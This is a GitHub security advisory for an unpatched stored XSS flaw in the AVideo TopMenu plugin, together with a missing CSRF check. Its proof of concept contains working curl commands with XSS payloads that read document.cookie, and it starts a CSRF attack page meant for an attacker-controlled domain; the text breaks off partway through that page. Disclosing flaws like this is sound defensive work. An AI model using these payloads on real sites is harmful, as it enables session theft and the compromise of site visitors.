GitHub Security Advisory: GHSA-gmpc-fxg2-vcmq
Package: wwbn/avideo (COMPOSER)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 26.0
Patched in: unpatched

Summary: AVideo has Stored XSS via Unescaped Menu Item Fields in TopMenu Plugin

Details:
## Summary

The TopMenu plugin renders menu item fields (icon classes, URLs, and text labels) directly into HTML without applying `htmlspecialchars()` or any other output encoding. Since menu items are rendered on every public page through plugin hooks, a single malicious menu entry results in stored cross-site scripting that executes for every visitor to the site. An admin user who is tricked into saving a crafted menu item (or an attacker who gains admin access) can compromise all site visitors.

## Details

Multiple output locations in the TopMenu plugin render user-controlled data without escaping:

In `HTMLMenuRight.php:24`, the icon class is injected directly:

```php
<i class="<?php echo $value2['icon'] ?>"></i>
```

In `HTMLMenuRight.php:40`, the URL is rendered without encoding:

```php
<a href="<?php echo $value2['finalURL']; ?>">
```

In `HTMLMenuLeft.php:32`, same pattern for the left menu:

```php
<a href="<?php echo $value2['finalURL']; ?>">
```

In `index.php:49`, the menu item text is echoed raw:

```php
<?php echo $menuItem->getText(); ?>
```

Menu item data is saved via `menuItemSave.json.php` with no sanitization in the setter methods. The stored values are loaded from the database and rendered on every page because the TopMenu plugin hooks into the global page layout.

Critically, `menuItemSave.json.php` has no CSRF protection. It checks `User::isAdmin()` but does not call `isGlobalTokenValid()` or perform any other CSRF token validation. This means the stored XSS can be chained with CSRF: an attacker does not need a compromised admin account. Instead, a cross-origin POST from an attacker-controlled page can create the malicious menu item if an admin visits the attacker's page while logged in.

## Proof of Concept

1. As an admin user, save a menu item with a malicious icon class:

```bash
curl -b "PHPSESSID=ADMIN_SESSION" \
  -X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
  -d 'icon=fa-home" onmouseover="alert(document.cookie)&text=Home&url=/&status=a'
```

2. Alternatively, inject via the URL field to create a JavaScript link:

```bash
curl -b "PHPSESSID=ADMIN_SESSION" \
  -X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
  -d 'icon=fa-link&text=Click+Me&url=javascript:alert(document.cookie)&status=a'
```

3. Alternatively, inject via the text field:

```bash
curl -b "PHPSESSID=ADMIN_SESSION" \
  -X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
  -d 'icon=fa-home&text=<script>alert(document.cookie)</script>&url=/&status=a'
```

4. Alternatively, chain with CSRF (no admin account needed). Host this HTML on an attacker-controlled domain and lure an admin to visit it:

```html
<!DOCTYPE html>
<html>
<head><title>AVI-041 CSRF + Stored XSS PoC</title></head>
<body>
<h1>Loading...</h1>
<iframe name="f1" style="display:none"></iframe>
<form id="inject" method="POST" target="f1"
      action="https://your-avideo-instance.com/plugin/To